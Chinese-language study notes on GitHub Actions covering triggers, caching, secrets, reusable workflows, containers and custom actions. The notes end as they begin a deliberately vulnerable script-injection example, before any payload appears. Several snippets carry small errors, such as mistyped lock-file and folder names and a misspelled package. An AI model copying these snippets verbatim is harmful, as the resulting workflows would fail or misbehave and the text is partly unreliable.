# Github Actions
## Workflows, Jobs, and Steps
- Workflows
> 定義 Events + Jobs
- 依附於一個 Github Repo 上，而一個 Repo 可以有多個 workflows
- 裡面包含了一或多個 Jobs，建立一些可以被自動 Execute 的動作
- 這些 Jobs 會被 Event 所觸發，可以是手動的或是基於某個 git action
- workflows 之間會並行處理
- Jobs
> 定義 Runner + Steps
- 會定義一個 Runner (Execution Environment) 來執行裡面的 Steps
- Runner 可以使用 Github 所提供的，也可以建立自己的
- 裡面包含了一或多個 Steps
- Jobs 之間可以並行處理，也可以設置依序進行，另外也能設置在特定條件才執行
- Steps
> 執行實質上的工作
- 可以是 shell script 或自訂的 Action
- Actions 可以使用 Github 定義好的一些動作或是自己建立，或是第三方
- Steps 會依定義順序執行，並能夠設置在特定條件才執行
### Create Simple Workflow
- 可以到 Repo 上面的 Actions Tab 選擇一個 Action 或是建立自己的 Workflow
- Workflow 的 Yaml 會被存放在 `.github/workflows/` 底下
:::spoiler Example
```yaml
name: First Workflow
on: workflow_dispatch
jobs:
first-job:
runs-on: ubuntu-latest
steps:
- name: Print Greeting
run: echo "Hello World!"
- name: Print Goodbye
run: echo "Done - bye!"
```
:::
- Properties
- `name` - 此 Workflow 的名稱 (可以有多個 Workflow)
- `on` - 要觸發這個 Workflow 的 Events
- [job name]
- `runs-on` - 定義 runner (可以用 [Github](https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources) 提供的或是自己的)
- `steps` - 依序定義所有步驟
- `- name: ` - step 名稱
- ` run: ` - 要做的動作，可以是 shell script 或是定義好的其他 Scripts
```yaml
# 如果想執行多行，可以使用 `|`
run: |
echo "First output"
echo "Second output"
```
- 建立完到 Repo 的 Actions 就可以在 Sidebar 看到剛剛建立的 Workflow 了，
- 跑的時候可以指定要在哪個 Branch 上面執行
- 執行過程或之後，也可以點進去查看 Workflow 執行的動作和其結果
### Events (Workflow Triggers)
> [More Events](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows)
:::spoiler Repository-related
- `push` - push a commit
- `pull_request` - pull request actions
- `create` - created a branch or tag
- `fork` - repo was forked
- `issue` - an issue was opened or deleted...
- `issue_comment` - issue or pr comment action
- `watch` - repo was stared
- `discussion` - discussion actions (Ex. created)
:::
:::spoiler Others
- `workflow_dispatch` - manually trigger
- `repository_dispatch` - REST API Requests trigger
- `schedule` - scheduled workflow
- `workflow_call` - can be called by other workflows
:::
- Usage
```yaml
on: push # trigger on code push
# on: [push, workflow_dispatch] # trigger on multiple events
```
### Runners
> [More Runners](https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources)
- 用來執行 Jobs 的 Servers (Machine)
- Github 提供了多種不同的 OS 選項，也可以建立客製化的 Runners
### Actions
> [More Actions](https://github.com/marketplace?type=actions)
- 要注意的是我們在 Github Server 所建立的環境中，一開始並沒有我們 Repo 的 Code，因此需要某種方式把我們的 Code 載進那個 Server
- Action 是第三方所提供的 Application，幫忙做一些常用到的工作，當然也可以建立自己的 Actions
- Ex. 把 Repo 的 Code 載到 Github 所起的 Server 環境中
- 最常用的就是 [`actions/checkout`](https://github.com/actions/checkout)，由 Github 團隊維運，另外還有許多不同來源的 Actions 可以使用
- 此用 `use` 來使用 Actions，為了確保不會因為新版本而引響行為，會指定版本
- Ex. `uses: actions/checkout@v3`
- 可以使用 `with` 來設置其他選項，再閱讀文件即可
### Create Basic React App Workflow
:::spoiler Example
```yaml=
name: Test Project
on: push
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Get code
uses: actions/checkout@v3
- name: Install NodeJS # For Demo
uses: actions/setup-node@v3
with:
node-version: 20
- name: Install Dependencies
run: npm ci # Use lock file
- name: Run Tests
run: npm test
deploy:
# Important: each job needs a separate runner
runs-on: ubuntu-latest
steps:
- name: Get code
uses: actions/checkout@v3
- name: Install NodeJS # For Demo
uses: actions/setup-node@v3
with:
node-version: 20
- name: Install Dependencies
run: npm ci # Use lock file
- name: Build Project
run: npm run build
- name: Deploy
run: echo "Deploying..."
```
:::
- 這裏的環境使用 `ubuntu-latest`，而 `Node.js` 已經事先被安裝好，因此不用額外安裝
- 目前的 latest 為 22.0.4，可以看此 [Image](https://github.com/actions/runner-images/blob/main/images/ubuntu/Ubuntu2204-Readme.md) 包含了哪些環境設置
- 如果需要自行安裝，可以使用 [`actions/setup-node`](https://github.com/actions/setup-node)
- 每個 Job 都需要自己的 Runner，預設之下 Jobs 會分別並行執行
- 使用 `needs` 讓某個 Job 在某些 Jobs 執行成功才執行
```yaml
jobs:
test:
runs-on: ubuntu-latest
steps:
# ...
deploy:
needs: test # run after `test` is done
# needs: [job1, job2, job3]
runs-on: ubuntu-latest
steps:
# ...
```
- 如果在 push 的時候出現以下錯誤，代表要到 Personal Access Token 那邊建立新的並打開 `workflow` 的權限，並參考此[文章](https://github.com/git-ecosystem/git-credential-manager?tab=readme-ov-file)設置此 Token 到你的 OS 上，建立好後重新 push 就可以了
> ...refusing to allow a Personal Access Token to create or update workflow `[workflow path]` without `workflow` scope
### Github Contexts
> [More Contexts](https://docs.github.com/en/actions/learn-github-actions/contexts)
- 很多時候有些動作會需要傳入一些環境資訊 (Ex. Env)
- 可以使用 `${{}}` 來引用 [Expressions](https://docs.github.com/en/actions/learn-github-actions/expressions)
```yaml
name: Output information
on: workflow_dispatch
jobs:
info:
runs-on: ubuntu-latest
steps:
- name: Output GitHub context
# Outputs the GitHub context
run: echo "${{ toJson(github) }}"
```
## Deep Dive
### Events
- [Activity Types](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows) - 能定義更細部的觸發種類
- 如果沒有特別的定義，通常會預設某些觸發選項
- Ex. `pull_request` - `opened`、`closed`、`edited`...
```yaml
name: ...
on:
pull_request:
types: [opened, ...]
# types:
# - opened
# - ...
workflow_dispatch: # 就算沒有其他選項也要這樣寫
```
- [Filters](https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions) - 能定義更細部的觸發條件
- 可以去看 Document 此 Event 有支援哪些、有哪些語法可以使用
- base on branch
```yaml
name: ...
on:
pull_request:
types: [opened, ...]
branches:
- main
# Match any branch starting with 'dev-'
# Ex. dev-new, dev-new-new, dev-new-new-new
- "dev-*"
# Match any branch starting with 'feat/' followed by anything
# Ex. feat/new, feat/new-new, feat/new/new-new
- "feat/**"
workflow_dispatch:
# ...
```
- base on path
```yaml
name: ...
on:
push:
branches:
- main
# 只要裡面有任何一個檔案被動到，就『不會』觸發
paths-ignore:
- '.github/workflows/*'
# 只要裡面有任何一個檔案被動到，就『會』觸發
# paths:
# - '.github/workflows/*'
# ...
```
- `paths` - 只要滿足這個條件就會觸發
- `paths-ignore` - 只要滿足這個條件就不會觸發
- 在預設情況下，基於 Forks 的 PR 不會觸發任何 workflow
- 否則可能會有惡意人士濫用
- 因此第一次發 PR 的人會需要擁有者審核
### Cancelling & Skipping Events
- 除了過程中出現 Error 會終止 workflow 外，也可以打開進行中的 workflow 手動取消
- `push` & `pull_request` 在一般情況下只要滿足觸發條件就會觸發 workflow，而有些特定的 Event 可以透過特定的 commit message 跳過 workflow 不執行
- Ex. "... [skip ci]"、"... [skip actions]"、...
- 更多寫法可以參考 [Documentation](https://docs.github.com/en/actions/managing-workflow-runs/skipping-workflow-runs)
- 如果是付費版本那種 CI 可能會收取費用的，就可以在某些確定不會影想到 code 的情況中 skip 掉
### Job Artifacts
- 可以視為專案所產出的 output，也許是要上傳到某個雲端服務的檔案，或是要上架到 App Store 之類，甚至 Log Files 等等也算
- 透過 Github Actions 可以存儲這些 Artifacts 將其用在其他 Jobs 中或是手動取得他進行上傳或是執行
- 使用 `actions/upload-artifact@v3` 上傳到 Github Actions
```yaml
jobs:
test:
# ...
build:
runs-on: ubuntu-latest
needs: test
steps:
- name: Get code
uses: actions/checkout@v3
- name: Install dependencies
run: npm ci
- name: Build website
run: npm run build
- name: Upload artifact
uses: actions/upload-artifact@v3
with:
name: dist-files
path: dist # Path to the build files
# You can also specify multiple paths like below
# path: |
# dist
# public
# ...
```
- 跑完後可以在執行的 Action 底下看到 Upload 的 Artifact，可以載下來或是刪除
- 也可以將產出的 Artifacts 使用在其他 Jobs 中
> 這裡提醒因為每個 Job 是在不同的機器上面運行，因此需要先進行下載才能使用
```yaml
jobs:
test:
# ...
build:
runs-on: ubuntu-latest
needs: test
steps:
# ...
- name: Upload artifact
uses: actions/upload-artifact@v3
with:
name: dist-files
path: dist
deploy:
needs: build
runs-on: ubuntu-latest
steps:
- name: Get build artifact
# Download the artifact from the build job and unzip it
uses: actions/download-artifact@v3
with:
name: dist-files # Select artifact
- name: Output contents
run: ls
- name: Deploy
run: echo "Deploying website"
```
### Job Outuputs
- 不同於 `Artifacts` 這種 log files 或是 App Binaries，`Outputs` 是單純的 Values，可以用於後面的 Jobs 當中 (Ex. File Name)
- 在 [steps-context](https://docs.github.com/en/actions/learn-github-actions/contexts#steps-context) 定義，從 [needs-context](https://docs.github.com/en/actions/learn-github-actions/contexts#needs-context) 存取
```yaml
jobs:
test:
# ...
build:
needs: test
runs-on: ubuntu-latest
# Define the outputs of the build job
outputs:
# Access the script-file output from step by ID
# steps[step-id].outputs[output-name]
script-file: ${{ steps.publish.outputs.script-file }}
steps:
# ...
- name: Publish JS filename
id: publish
# Find all JS files in the dist/assets directory (linux command)
# output-name = script-file
run: find dist/assets/*.js -type f -execdir echo 'script-file={}' >> $GITHUB_OUTPUT ';'
# Deprecated old syntax
# run: find dist/assets/*.js -type f -execdir echo '::set-output name=script-file::{}' ';'
# ...
deploy:
needs: build
runs-on: ubuntu-latest
steps:
# ...
- name: Output script-file
# needs[build].outputs[output-name]
run: echo ${{ needs.build.outputs.script-file }}
# ...
```
### Dependency Caching
> [Cache for differenct languages](https://github.com/actions/cache?tab=readme-ov-file)
> [Pnpm setup for Github Actions](https://pnpm.io/continuous-integration#github-actions)
- 減少在 Jobs 之間重複如 Install Dependencies 工作所花費的時間
- 不要去 Cache Artifacts 喔喔喔！
- 在 Install Step 之前使用 `actions/cache@v3` 讓要 Cache 的東西不是存在當個 Job 機器中，而是另一個能夠跨機器存取的地方
```yaml
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Get code
uses: actions/checkout@v3
# Use cache if available, else install dependencies and cache them
- name: Cache dependencies
uses: actions/cache@v3
with:
# npm cache files are stored in `~/.npm` on Linux/macOS
path: ~/.npm
# add dynamic cache key based on hashed package-lock.json
# invalidate cache if found different key
key: deps-node-modules-${{ hashFiles('**/packages-lock.json') }}
- name: Install dependencies
# npm ci will automatically use cache if package-lock.json is unchanged
run: npm ci
# ...
build:
needs: test
runs-on: ubuntu-latest
steps:
- name: Get code
uses: actions/checkout@v3
- name: Cache dependencies
uses: actions/cache@v3
with:
path: ~/.npm
key: deps-node-modules-${{ hashFiles('**/packages-lock.json') }}
- name: Install dependencies
run: npm ci
# ...
deploy:
# ...
```
### Environment Vairables and Secrets
- Environment variables
- 可以讓我們彈性切換各種參數來因應各種情境，Ex. 在測試和正式環境使用不同的帳號或資料庫、使用不同的 port 起 server
- Github Actions 也提供了一些預設的 variables 可以使用
- Ex. workflow 所屬的 Repository
- 參考 [文件](https://docs.github.com/en/actions/learn-github-actions/environment-variables#default-environment-variables) 了解更多
:::spoiler Sample
```yaml=
name: Deployment
on:
push:
branches:
- main
- dev
# Global env variables
env:
MONGO_DB_NAME: ...
jobs:
test:
env:
# Job specific env variables
MONGODB_CLUSTER_ADDRESS: ...
MONGODB_USERNAME: ...
MONGODB_PASSWORD: ...
PORT: ...
# Override the global env variable
# MONGO_DB_NAME: ...
runs-on: ubuntu-latest
steps:
- name: Get Code
uses: actions/checkout@v3
- name: Cache Dependencies
uses: actions/cache@v3
with:
path: ~/.npm
key: npm-deps=${{ hashFiles('**/package-lock.json') }}
- name: Install Dependencies
run: npm ci
- name: Run Server
# Use PORT from env variables
# $PORT or ${{ env.PORT }}
run: npm run start && npx wait-on http://127.0.0.1:${{ env.PORT }}
- name: Run Tests
run: npm run test
- name: Output Information
run: echo "MONGODB_USERNAME=${{ env.MONGODB_USERNAME }}"
deploy:
needs: test
runs-on: ubuntu-latest
steps:
- name: Output Information
# These variables won't be available in this job
run: |
echo "MONGODB_USERNAME=${{ env.MONGODB_USERNAME }}"
echo "MONGODB_USERNAME=${{ env.MONGODB_USERNAME }}"
```
:::
- Secrets
- 不要把 Credential 直接放在 workflows 裡面，否則會直接被看光光！因此需要改在 Github 裡面設定 Secrets，是另一種設定 Environment Variables 的方式
- Secrets 可以限縮使用在 repository 裡面，也可以是 Organization 層級的共用變數
- 在 Github 建立 Repository 層級的 Action Secret
1. `Settings` > `Secrets` > `Actions`
2. `New repository secret`，名稱通常會和 Action 中使用的 Variable 名稱相同但並非強制
3. 建立好的會顯示在 `Repository secrets` 底下
4. 在 Actions 中使用 Secrets 的方式如下
```yaml
env:
MONGODB_USERNAME: ${{ secrets.MONGODB_USERNAME }}
```
- 建立好的 Secret 可以更新但沒辦法再查看，如果在 Action 中不小心嘗試把它印出來，Github 也會辨識出來並將其隱藏
- Github Environments
> 此功能只會在 Public Repository 或是付費方案中才能使用
- 會被綁在 Repository 底下，而 Workflow Jobs 可以指定不同的 Environment
- 不同 Environment 可以使用不同的設置，如 Seccrets
- 可以設置不同的規範，如某些特定的 branch 或是 event 才能使用
- 在 Repository 底下新增 Environments
1. `Settings` > `Envronments` > `New environment`
2. 可以建立一個像是 `testing` 的環境
3. 在底下加上這個 Environment 專用的 Secrets，會顯示在 `Settings` > `Secrets` > `Actions` 底下的 `Environment Secrets` 中
4. 在 Action 中指定 Environment
```yaml
jobs:
test:
environment: testing
```
- 引用 Environment 後就會優先使用當中的 Secrets 而不是 Repository 所定義的 `Repository secrets` 底下
- 另外也有一些針對 Environment 可以做的設置
- Environment protection rules 可以設置 Approval 和 Timeouts
- Deployment branches 可以限制特定的 branch 才會觸發引用此 Environent 的 Jobs，反之如果不是這些 Branch 則不會觸發這些 Jobs
## Controlling Workflow & Job Execution
- 預設下，workflows 中的 Jobs 會從上往下執行，如果某個 Job 出現錯誤，後面的則不會執行
- 但很多時候我們會想控制 Jobs 執行的順序，出現錯誤時有些 Jobs 還是要執行，甚至有些 Jobs 只有在某個 Job 出現錯誤時才要執行
> 假設 build job 要在 test job 完成後才能執行，若 test job 失敗，build job 和其後面的 jobs 也會自動被忽略。
:::spoiler Demo Workflow
```yaml=
jobs:
lint:
# ...
test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v3
- name: Cache dependencies
id: cache
uses: actions/cache@v3
with:
path: ~/.npm
key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
- name: Install dependencies
run: npm ci
- name: Test code
run: npm run test
- name: Upload test report
uses: actions/upload-artifact@v3
with:
name: test-report
path: test.json
build:
needs: test
# ...
deploy:
needs: build
# ...
```
:::
### Running Steps Conditionally
> 在 test failed 的時後才去上傳 test report 到 github
1. 在 `Test Code` 的 step 加上 id 來做 reference 取得他成功或失敗
```yaml
- name: Test code
id: run-tests
run: npm run test
```
2. 在 `Upload test report` 的 step 加上 `if` 判斷 (其他能用的 [Operators](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/evaluate-expressions-in-workflows-and-actions#operators))
```yaml
- name: Upload test report
# When continue-on-error fails,
# the outcome is failure,
# and the conclusion is success
if: steps.run-tests.outcome == 'failure'
uses: actions/upload-artifact@v3
with:
name: test-report
path: test.json
```
3. 這時會發現雖然已經檢查了，但因為 `Test Code` 的 step 失敗後並不會去執行其他 step，所以這邊需要在 `if` 加上 `failure()` 讓他在 failure 要執行
> - `failure()`: 前面有 step failed 時回傳 true
> - `success()`: 前面沒 step failed 時回傳 true
> - `always()`: 都會回傳 true
> - `cancelled()`: workflow 被 cancel 時回傳 true
```yaml
- name: Upload test report
# When continue-on-error fails,
# the outcome is failure,
# and the conclusion is success
if: failure() && steps.run-tests.outcome == 'failure'
uses: actions/upload-artifact@v3
with:
name: test-report
path: test.json
```
### Running Jobs Conditionally
> echo error message if something went wrong
1. Add report job
```yaml
report:
needs: [lint, deploy]
runs-on: ubuntu-latest
steps:
- name: Output information
run: |
echo "Something went wrong..."
echo "${{ toJSON(github) }}"
```
2. Add `if` to report job
```yaml
report:
needs: [lint, deploy]
if: failure()
runs-on: ubuntu-latest
steps:
- name: Output information
run: |
echo "Something went wrong..."
echo "${{ toJSON(github) }}"
```
### Other Samples
> Caching node_modules, skip install step if found cache
```yaml!
steps:
# ...
- name: Cache dependencies
id: cache
uses: actions/cache@v3
with:
path: node_modules
key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
- name: Install dependencies
# cache-hit: output from actions/cache@v3 (boolean)
if: steps.cache.outputs.cache-hit != 'true'
run: npm ci
# ...
```
> 使用 `continue-on-error` 無視當個 step 的 failure 繼續執行
```yaml!
# Will run build and deploy even `Test code` failed,
# Won't cause the workflow result to fail (comparing to using `if: falure()`)
jobs:
lint:
# ...
test:
runs-on: ubuntu-latest
steps:
# ...
- name: Test code
continue-on-error: true
id: run-tests
run: npm run test
# ...
build:
# ...
deploy:
# ...
```
### Matric Strategies
- 讓你能在一個 job 裡面共享同一個 configuration，當其中一個 Job 失敗，會取消其他
```yaml!
name: Matrix demo
on:
push:
branches:
- main
jobs:
build:
strategy:
# Job will be ran for each combination
matrix:
node-version: [12, 14, 16]
operating-system: [ubuntu-latest, windows-latest, macOS-latest]
runs-on: ${{ matrix.operating-system }}
steps:
- name: Get Code
uses: actions/checkout@v3
# Maybe want to use specific versions of Node.js
- name: Install Node.js
uses: actions/setup-node@v3
with:
node-version: ${{ matrix.node-version }}
- name: Install dependencies
run: npm ci
- name: Build website
run: npm run build
```
- 如果在 Job 層級加上 `continue-on-error: true` 則會無視 Job 的 Failure，仍去執行其他 Matrix Jobs
- 可以用 `include` 來設置單一動作，用 `exclude` 來忽略某些組合
```yaml
strategy:
matrix:
node-version: [12, 14, 16]
operating-system: [ubuntu-latest, windows-latest]
#
include:
- node-version: 18
operating-system: ubuntu-latest
exclude:
- node-version: 12
operating-system: windows-latest
```
### Reusable Workflows
> 使用 `workflow_call` Event 來讓其他 Workflows 用在他們的 Jobs 裡面，而不會直接被其他事件觸發 (actions 也可以算是某種 Reusable Workflow)
```yaml!
# reusable.yml
name: Reusable Deploy
on:
workflow_call:
# Define the inputs for the workflow
inputs:
artifact-name:
description: Name of the artifact to deploy
type: string
required: true
default: dist
# Define the secrets for the workflow if needed
# secrets:
# some-scret:
# description: A secret value
# required: true
# Define the outputs for the workflow
outputs:
result:
description: The result of the deployment
value: ${{ jobs.deploy.outputs.outcome }}
jobs:
deploy:
# Define the outputs for the job
outputs:
outcome: ${{ steps.set-result.outputs.step-result }}
runs-on: ubuntu-latest
steps:
- name: Get build artifacts
uses: actions/download-artifact@v3
with:
# Use the input value
name: ${{ inputs.artifact-name }}
- name: List files
run: ls
- name: Output Information
run: echo "Deploying to production"
# Set the output value
- name: Set result output
run: echo "::set-output name=step-result::success"
```
```yaml!
# use-reusable.yml
name: Using Reusable Deploy
on:
push:
branches:
- main
jobs:
# ...
deploy:
needs: build
# path from the root of the repository
# can also use workflows from other repositories
uses: ./.github/workflows/reusable.yml
# Pass in inputs
with:
artifact-name: dist-files
# Pass in secrets
# secrets:
# some-secret: ${{ secrets.SOME_SECRET }}
print-deploy-result:
needs: deploy
runs-on: ubuntu-latest
steps:
- name: Print deployment output
run: echo "${{ needs.deploy.outputs.result }}"
```
## Using Docker Containers
> 比起單純使用 Runner，你可以自己定義整個環境，而不用卡死在人家定義好的 Runner 環境設置
```yaml!
jobs:
test:
environment: testing
# Runner is only used to host the image
runs-on: ubuntu-latest
container:
image: node:16
# env:
# environment variables for the container
# ...
deploy:
# ...
```
### Service Containers (`service`)
在 CI 裡面可能會需要和一些其他 Service 互動，例如啟用一個測試用的 Database 在 container 裡面
> 不一定要跑在 container 上到 job 才能和 service container 互動，直接跑在 runner 上的也可以；Service 則只能跑在 container 上
- 如果要和 service 互動
- 當 job 本身也是使用 container，那 Github Action 會自動產生一個 Network 環境，可以使用 service container 的 label 作為 connection address
- 當 job 跑在 runner 上，需使用 localhost 並指定對應的 PORT
- 建立一個測試用的 mongodb service (job in runner)
```yaml!
jobs:
test:
environment: testing
runs-on: ubuntu-latest
# Job level services
services:
mongodb:
image: mongo
# Forwards the container port 27017 to the host machine
ports:
- 27017:27017
env:
MONGO_INITDB_ROOT_USERNAME: root
MONGO_INITDB_ROOT_PASSWORD: password
env:
# Use only mongodb due to image requirements
MONGODB_CONNECTION_PROTOCOL: mongodb
# Use localhost and port
# mongodb default port: 27017
MONGODB_CLUSTER_ADDRESS: 127.0.0.1:27017
# Same as the one defined in the services section
MONGODB_USERNAME: root
MONGODB_PASSWORD: password
PORT: 8080
# ...
```
- 建立一個測試用的 mongodb service (job in container)
```yaml!
jobs:
test:
environment: testing
runs-on: ubuntu-latest
container:
image: node:16
# Job level services
services:
mongodb:
image: mongo
env:
MONGO_INITDB_ROOT_USERNAME: root
MONGO_INITDB_ROOT_PASSWORD: password
env:
# Use only mongodb due to image requirements
MONGODB_CONNECTION_PROTOCOL: mongodb
# Use service container labels
MONGODB_CLUSTER_ADDRESS: mongodb
# Same as the one defined in the services section
MONGODB_USERNAME: root
MONGODB_PASSWORD: password
PORT: 8080
# ...
```
## Custom Actions
> 主要用來簡化 workflows 或是建立解決自己特殊需求且尚未存在的 actions
- 若限用於 Repo 內部，會放在 `.github/actions/` 底下，建立一個資料夾放 custom action 並在裡面新建 `action.yml` (一定得這樣命名並存放)；使用時透過 root folder 開始的相對路徑引用 (只要指向 action folder 就好，Github Action 會自動去找來面的 `action.yml`)
> 要注意的是當建立在同一個 repository 的時候要先 checkout 才能使用，如果是使用存放在其他 repository 中的 action 就不需要
- 如果建立跨 Repo 共用使用的 workflow
1. 建立一個 public repo，並把所有 action files 直接放在 root folder (而不是 `.github/actions`) 後推上 github
> 如果要限制在 Organization 裡面，需是在 `GitHub Enterprise Cloud` 的 Organizaion，可將 Repository Visibility 設為 `internal` ([Docs](https://docs.github.com/en/enterprise-cloud@latest/actions/sharing-automations/sharing-actions-and-workflows-with-your-enterprise))
2. 要在其他 workflow 中使用時
- 透過 reference repository 的方式引用
`uses: <account or organizaion>/<repository>`
- 推到 [market place](https://docs.github.com/en/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action) 上面使用
### Composite Actions
> 結合各種 Workflow Steps 作為 Action，接著在 Workflows 中重複使用
> 範例：建立 action 來 cache dependencies
1. 建立 `cache-deps` action
```yaml!
# .github/actions/cache-deps/action.yml
name: "Get & Cache Dependencies"
description: "Cache dependencies to speed up workflow runs"
inputs:
allow-caching:
description: "Whether to cache dependencies or not"
required: false
default: "true"
# other inputs...
# Just for demo
outputs:
used-cache:
description: "Whether cache was used or not"
# Using step id to access the output
value: ${{ steps.install.outputs.cached }}
# other outputs...
runs:
using: "composite"
steps:
- name: Cache dependencies
if: ${{ inputs.allow-caching == 'true' }}
id: cache
uses: actions/cache@v3
with:
path: node_modules
key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
- name: Install dependencies
id: install
if: steps.cache.outputs.cache-hit != 'true' || ${{ inputs.allow-caching != 'true' }}
run: |
npm ci
echo "::set-output name=cached::${{ inputs.allow-caching }}"
shell: bash # Needed if using run keyword
```
2. 在 workflow 中使用
```yaml!
# .github/workflows/deploy.yml
# ...
jobs:
lint:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v3
- name: Load & Cache dependencies
id: cache-deps
uses: ./.github/actions/cached-deps
with:
# Test input to disable caching
allow-caching: false
# Test printing output from custom action
- name: Output Information
run: echo "Cache used? ${{ steps.cache-deps.outputs.used-cache }}"
- name: Lint code
run: npm run lint
# ...
```
### JavaScript Actions
> 用 JavaScript (NodeJS) 撰寫，會在跑 Action 時被執行 ([More Info](https://docs.github.com/en/actions/sharing-automations/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions ))
> 範例：建立 action 來上傳東西到 AWS S3 Bucket (也有現成的可以用，這裡只是為了 Demo)
1. 建立 `deploy-s3` action
```yaml!
# .github/actions/deploy-s3/action.yml
name: "Deploy to AWS S3"
description: "Deploy to AWS S3 bucket"
inputs:
bucket-name:
description: "The name of the S3 bucket to deploy to"
required: true
bucket-region:
description: "The AWS region of the S3 bucket"
required: true
default: "us-east-1"
dist-folder:
description: "The folder containing the files to deploy"
required: true
outputs:
site-url:
description: "The URL of the deployed site"
# Value is set in the action's code
runs:
using: "node16"
# pre: 'pre.js' # executed before the main entrypoint
main: "main.js" # relative path from this file
# post: 'post.js' # executed after the main entrypoint
```
2. 切到 `.github/actions/deploy-s3` 裡面並用 `npm init -y` 初始化建立 `package.json` 後，安裝 Github Actions 會用到的 Dependencies [Toolkits](https://github.com/actions/toolkit)
```bash
npm install @actions/core @actions/github @actions/exec
```
> 這裡要注意的是，這裡所產生的 `node_modules` 不能被 ignore，需要一起被推上 github，因為 Github Action 並不會幫你 install；`dist` 也一樣，否則有些 module 裡面的 `dist` 會被 ignore 掉
3. 建立一支 `main.js` 撰寫要執行的動作
```javascript
// .github/actions/deploy-s3/main.js
const core = require("@actions/core");
const exec = require("@actions/exec");
// Used to access the GitHub APIs
// const github = require("@actions/github");
function run() {
// Get the inputs from the workflow file
// Will throw an error if the input is not set when required
const bucket = core.getInput("bucket-name", { required: true });
const region = core.getInput("bucket-region", { required: true });
const dist = core.getInput("dist-folder", { required: true });
// Upload the files to the S3 bucket
// paws-cli is reinstalled in ubuntu-latest
const s3Uri = `s3://${bucket}`;
exec.exec(`aws s3 sync ${dist} ${s3Uri} --region ${region}`);
// Set output value
const siteURL = `http://${bucket}.s3-website-${region}.amazonaws.com`;
core.setOutput("site-url", siteURL); // ::set-output
// Print something
// core.notice("Hello from the action!");
}
run();
```
4. 在 workflow 中使用
```yaml!
# .github/workflows/deploy.yml
# ...
jobs:
# ...
deploy:
needs: build
runs-on: ubuntu-latest
steps:
- name: Get build artifacts
uses: actions/download-artifact@v3
with:
name: dist-files
path: ./dist
- name: Deploy
id: deploy
uses: ./.github/actions/deploy-s3
# Needed to access aws s3 bucket
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
with:
bucket-name: ${{ secrets.AWS_BUCKET_NAME }}
dist-folder: ./dist
# bucket-region: us-east-2
- name: Output URL
run: |
echo "Live URL: ${{ steps.deploy.outputs.site-url }}"
```
### Docker Actions
> 透過建立 Dockerfile 給 Github 使用，裡面可以用任何程式語言撰寫各種任務
> 範例：改用 docker 建立 action 來上傳東西到 AWS S3 Bucket
1. 建立 `deploy-s3` action
```yaml!
# .github/actions/deploy-s3/action.yml
name: "Deploy to AWS S3"
description: "Deploy to AWS S3 bucket"
inputs:
bucket-name:
description: "The name of the S3 bucket to deploy to"
required: true
bucket-region:
description: "The AWS region of the S3 bucket"
required: true
default: "us-east-1"
dist-folder:
description: "The folder containing the files to deploy"
required: true
outputs:
site-url:
description: "The URL of the deployed site"
# Value is set in the action's code
runs:
using: "docker"
image: 'Dockerfile' # Or use a pre-built image
```
2. 建立 `deployment.py`、`requirements.txt` 來處理 s3 的上傳，和 `Dockerfile` 來產生執行 python 的環境
```python
# .github/actions/deploy-s3/deployment.py
import os
import boto3
from botocore.config import Config
def run():
# Get the inputs generated by github actions
# INPUT_<Capitalized Defined Input>
bucket = os.environ['INPUT_BUCKET-NAME']
region = os.environ['INPUT_BUCKET-REGION']
dist = os.environ['INPUT_DIST-FOLDER']
# Create an S3 client
configuration = Config(region_name=region)
s3_client = boto3.client('s3', config=configuration)
# Upload the files
for root, subdirs, files in os.walk(dist):
for file in files:
path = os.path.join(root, file)
s3_client.upload_file(path, bucket, file)
# Print the URL
site_url = f'https://{bucket}.s3-website-{region}.amazonaws.com'
print(f'::set-output name=site_url::{site_url}')
if __name__ == '__main__':
run()
```
```txt
<!-- .github/actions/deploy-s3/requirements.txt -->
boto3 == 1.24.71
botocore == 1.27.71
jmspath == 1.2.1
python-dateutil == 2.8.2
s3transfer == 0.6.0
six == 1.16.0
urllib3 == 1.26.12
```
```dockerfile
# .github/actions/deploy-s3/Dockerfile
FROM python:3
COPY requirements.txt /requirements.txt
RUN pip install -r requirements.txt
COPY deployment.py /deployment.py
CMD ["python", "/deployment.py"]
```
3. 在 workflow 中使用
```yaml!
# .github/workflows/deploy.yml
# ...
jobs:
# ...
deploy:
needs: build
runs-on: ubuntu-latest
steps:
- name: Get build artifacts
uses: actions/download-artifact@v3
with:
name: dist-files
path: ./dist
- name: Deploy
id: deploy
uses: ./.github/actions/deploy-s3
# Needed to access aws s3 bucket
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
with:
bucket-name: ${{ secrets.AWS_BUCKET_NAME }}
dist-folder: ./dist
# bucket-region: us-east-2
- name: Output URL
run: |
echo "Live URL: ${{ steps.deploy.outputs.site-url }}"
```
## Security & Permissions
### Script Injection
> 當使用了 workflow 外的 value 時，別人可以透過嵌入某些 code 在 value 中，讓你的 workflow 執行導致壞掉或做其他事
- 範例：當 workflow 會在建立 Issue 時觸發，並在 workflow 中使用了 Issue Title，其他人可以建立一個 Issue 且 title 裡面夾帶一些 Code 讓你的 workflow 執行
1. 建立一個有 Script Injection 風險的 Action 並推到 github
```yaml
# .github/workflows/script-injection.yml
name: Label Issues (Script Injection Example)
on:
issues:
types: opened
jobs:
assign-label:
